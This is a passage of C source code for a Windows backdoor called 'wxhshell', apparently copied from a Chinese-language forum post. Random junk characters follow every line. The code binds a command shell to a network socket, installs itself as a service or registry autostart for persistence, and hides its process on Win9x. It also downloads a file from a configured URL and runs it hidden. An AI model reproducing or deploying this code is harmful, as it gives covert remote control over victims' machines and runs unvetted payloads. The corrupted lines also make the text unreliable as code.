  MLJ8m  
  // 帮助 KW)yTE<  
  case '?': { VrDvd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y}|zH  
    break; +VfJ: [q  
  } 7~ 2X/  
  // 安装 %PQC9{hUy$  
  case 'i': { N4r`czoj  
    if(Install()) SU1, +7"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6YN4]  
    else Sx}h$E:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *E>YLkg]  
    break; [Gu]p&  
    } {.sF&(e   
  // 卸载 h`)r :a7  
  case 'r': { NWf!c-':  
    if(Uninstall()) phTZUm i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f -#fi7  
    else {3?g8e]zr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BZE19!  
    break; jtA Yp3M-$  
    } =|6IyL_N  
  // 显示 wxhshell 所在路径 StE4n0V  
  case 'p': { \Ew2@dF{O  
    char svExeFile[MAX_PATH]; 3Z`oI#-x  
    strcpy(svExeFile,"\n\r"); lA{Sr0f TP  
      strcat(svExeFile,ExeFile); (2S,0MHk  
        send(wsh,svExeFile,strlen(svExeFile),0); 2o,%O91p  
    break; ^<< Wqmx  
    } ^LZU><{';  
  // 重启 " jy'Dpy0m  
  case 'b': { atY m.qb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K@h v[4  
    if(Boot(REBOOT)) Ly3^zF W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*!I(wm2i  
    else { z\v\T|C  
    closesocket(wsh); k38Ds_sW6d  
    ExitThread(0); -~jM=f$  
    } . a~J.0co  
    break; jA6:-Gz  
    } `w&|~xT  
  // 关机 )@Ly{cw   
  case 'd': { xl s_g/Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B4I|"5G2y  
    if(Boot(SHUTDOWN)) b" p,~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -\LB>\;qn  
    else { z"R-Sme  
    closesocket(wsh); Hl]3F^{  
    ExitThread(0); .HMO7n6)8l  
    } Wh"oL;O  
    break; 6kHAoERp  
    } C^.:{  
  // 获取shell U nGG%  
  case 's': { Cdc6<8  
    CmdShell(wsh); TR]~r2z  
    closesocket(wsh); t(^c]*r~  
    ExitThread(0); [CJ&Yz Ji  
    break; Q4C28-#  
  } M&xfQNE   
  // 退出 kE=}.  
  case 'x': { ?> }bg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wn<3|`c  
    CloseIt(wsh); !XQG1!|ww  
    break; nJlrBf_Kj  
    } e!Y:UB2 7u  
  // 离开 5nQ*%u\$Z  
  case 'q': { hQvSh\p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d0eMDIm3R\  
    closesocket(wsh); {!@Pho)Q  
    WSACleanup(); hC=9%u{r?  
    exit(1); R6*:Us0\FJ  
    break; XX#YiG4|J  
        } b&. o9PV"  
  } x<4-Q6'{S  
  } Y&'Bl$`  
+2 !F6"hP  
  // 提示信息 aovRm|aOo'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wz<YflF  
} UF3WpA  
  } d#T~xGqz  
#/\5a;Elc  
  return; xQ=[0!p+  
} XOAZ  
IxHusB  
// shell模块句柄 l 2y_Nz-;  
int CmdShell(SOCKET sock) 17 Hdj  
{ @.6l^"L  
STARTUPINFO si; J*IC&jH:  
ZeroMemory(&si,sizeof(si)); wK!4:]rhG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3V>2N)3`A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~m2tWi@  
PROCESS_INFORMATION ProcessInfo; HZ* <BjE:"  
char cmdline[]="cmd"; ;9MsV.n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OQIQ   
  return 0; `}Ssc-A  
} b`)^Ao:  
+ffs{g{  
// 自身启动模式 %}t.+z(S  
int StartFromService(void) dcew`$SJp  
{ h(*!s`1  
typedef struct { AdPC?R`  
{ gpB3\  
  DWORD ExitStatus; Q&S\?cKe  
  DWORD PebBaseAddress; ]-FK6jw  
  DWORD AffinityMask; j?K]0j;  
  DWORD BasePriority; a*@ 6G  
  ULONG UniqueProcessId; f^z/s6I0  
  ULONG InheritedFromUniqueProcessId; R] L|&{   
}   PROCESS_BASIC_INFORMATION; _1S^A0ft  
`uo'w:Q  
PROCNTQSIP NtQueryInformationProcess; G'T/I\tB  
u|t<f`ze  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F$T@OT6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yu"enA  
ZbD_AP  
  HANDLE             hProcess; r PWn  
  PROCESS_BASIC_INFORMATION pbi; ^dj avJ  
O+~.p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eAR]~ NiW  
  if(NULL == hInst ) return 0; Op%}.9ed  
H*BzwbM?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8DHohhN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +dIDFSd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ('BFy>@  
OLp;eb1g  
  if (!NtQueryInformationProcess) return 0; J-yj&2  
{U/a h2*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0 UdAF  
  if(!hProcess) return 0; b.V\E Ok  
1D159NLB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3}V`]B#a  
Yz4)Q1  
  CloseHandle(hProcess); MM8@0t'E  
R%B"Gtl)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A82Bn|J  
if(hProcess==NULL) return 0; DA;,)A&=Q  
"5Orj*{  
HMODULE hMod; %v 0 I;t  
char procName[255]; 6 B>1"h%Wf  
unsigned long cbNeeded; -? {bCq  
2~<N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Rj;lAlwB  
s}yJkQb  
  CloseHandle(hProcess); #~<cp)!3  
%6rMS}  
if(strstr(procName,"services")) return 1; // 以服务启动 ,[fn? s r  
Nb;xJSlox  
  return 0; // 注册表启动 l,5<g-r V  
} l+g\xUP  
A<-Prvryt  
// 主模块 +iKs)s_~  
int StartWxhshell(LPSTR lpCmdLine) r;m_@*]  
{ V8AF;1c?-'  
  SOCKET wsl; CZaUrr  
BOOL val=TRUE; evOy Tvc  
  int port=0; qOOF]L9r%u  
  struct sockaddr_in door; {hYH4a&Hb  
4pNIsjl}  
  if(wscfg.ws_autoins) Install(); 1UG5Q-  
p4mlS  
port=atoi(lpCmdLine); -XNjyXm2  
{KkP"j'7h  
if(port<=0) port=wscfg.ws_port; V}<Hx3!  
,9jq @_  
  WSADATA data; sDNV_} h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .<ux Z  
Ucnj7>+"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /'vCO |?L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uFxhr2 <z  
  door.sin_family = AF_INET; : V16bRpjL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zzmZ`Ya  
  door.sin_port = htons(port); i=67  
7g@P$e]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2p'ujAK  
closesocket(wsl); *a }NRf}W  
return 1; ' *hy!f]  
} L%4[,Rsw  
x0aPY;,N0  
  if(listen(wsl,2) == INVALID_SOCKET) { ?M2#fD]e  
closesocket(wsl); _m3}0q  
return 1; ch2Qk8  
} Bqo8G->  
  Wxhshell(wsl); Y4E UW%  
  WSACleanup(); Tc{r;:'G<  
UG)J4ZX  
return 0; zQY|=4NP  
N~I2~f  
} Qn`$xY9mT  
iaShxoIV  
// 以NT服务方式启动 yL =*yC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]WZ_~8  
{ Ml &Cr  
DWORD   status = 0; #=6A[<qX  
  DWORD   specificError = 0xfffffff; 8&?kr/_Vr  
Vq[L4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r8PXdNg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `<R;^qCt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p4} ,xQzB  
  serviceStatus.dwWin32ExitCode     = 0; eK]g FXk  
  serviceStatus.dwServiceSpecificExitCode = 0; M#v#3:&5  
  serviceStatus.dwCheckPoint       = 0; gcLwQ-  
  serviceStatus.dwWaitHint       = 0; ;O8Uc&:P  
m e\S:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G)qNu}  
  if (hServiceStatusHandle==0) return; +<cvyg5U  
w[g(8 #*  
status = GetLastError(); yO@KjCv"  
  if (status!=NO_ERROR) m~KGB"  
{ wPhN_XV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,SEC~)L  
    serviceStatus.dwCheckPoint       = 0; G/Ll4 :  
    serviceStatus.dwWaitHint       = 0; B+e$S%HV  
    serviceStatus.dwWin32ExitCode     = status; R7'a/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vp3r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Ld/{&Qr  
    return; 6k?,'&z|~  
  } z}XmRc_Ko  
<hG=0Zcr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >:5^4/fo*  
  serviceStatus.dwCheckPoint       = 0; Vs>/q:I  
  serviceStatus.dwWaitHint       = 0; UsT+o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?sF<L/P0 F  
} #ma#oWqF}  
+h!OdWD9  
// 处理NT服务事件,比如:启动、停止 jVh I`F{n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {/f\lS.5g  
{ V0'T)  
switch(fdwControl) *Q= 3v  
{ `o7m)T')  
case SERVICE_CONTROL_STOP: 8<z]rLQw?%  
  serviceStatus.dwWin32ExitCode = 0; }(}+I}&~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6U{&`8C  
  serviceStatus.dwCheckPoint   = 0; IfyyA  
  serviceStatus.dwWaitHint     = 0; 4[@`j{  
  { j 8lWra\y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -b1VY4m-  
  } 6.]x@=Wm  
  return; ,`<w#  
case SERVICE_CONTROL_PAUSE: lWYZAF>?Ym  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3hzI6otKS  
  break; qEd!g,Sx  
case SERVICE_CONTROL_CONTINUE: AEjkqG4qv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ts2;?`~  
  break; &r0b~RwUv  
case SERVICE_CONTROL_INTERROGATE: [/.5{|&GSt  
  break; iUcDj:  
}; eBZ^YY<*g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hdFIriE3  
} m%8idjnG  
-#yLH  
// 标准应用程序主函数 eK }AVz}k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &<{=  
{ *0 y|0J+ 0  
}=kf52Am,}  
// 获取操作系统版本 SG6@Rn*^  
OsIsNt=GetOsVer(); D@[Mk"f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _O!)aD  
xRZ9.Agv_  
  // 从命令行安装 :5/P{Co (  
  if(strpbrk(lpCmdLine,"iI")) Install(); .A;D-"!  
Z,'#=K  
  // 下载执行文件 >eHSbQu/Bu  
if(wscfg.ws_downexe) { ]6wo]nV[P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9S"c-"y\#  
  WinExec(wscfg.ws_filenam,SW_HIDE); h> K~<BAz'  
} IvLo&6swW  
-Fcg}\9  
if(!OsIsNt) { }F=+*-SYZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 a<CN2e_Z  
HideProc(); E;l|I A/7  
StartWxhshell(lpCmdLine); [qhQj\cK  
} +J`EBoIo  
else EC6&#)g;CO  
  if(StartFromService())  Lb# e  
  // 以服务方式启动 #&+0hS  
  StartServiceCtrlDispatcher(DispatchTable); {Mt4QA5iZ  
else x Bn+-V  
  // 普通方式启动 Qz*!jwg  
  StartWxhshell(lpCmdLine); H ]BH  
hr%O4&sa  
return 0; \k?uh+xl  
}
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只看该作者 1 发表于: 2006-10-10
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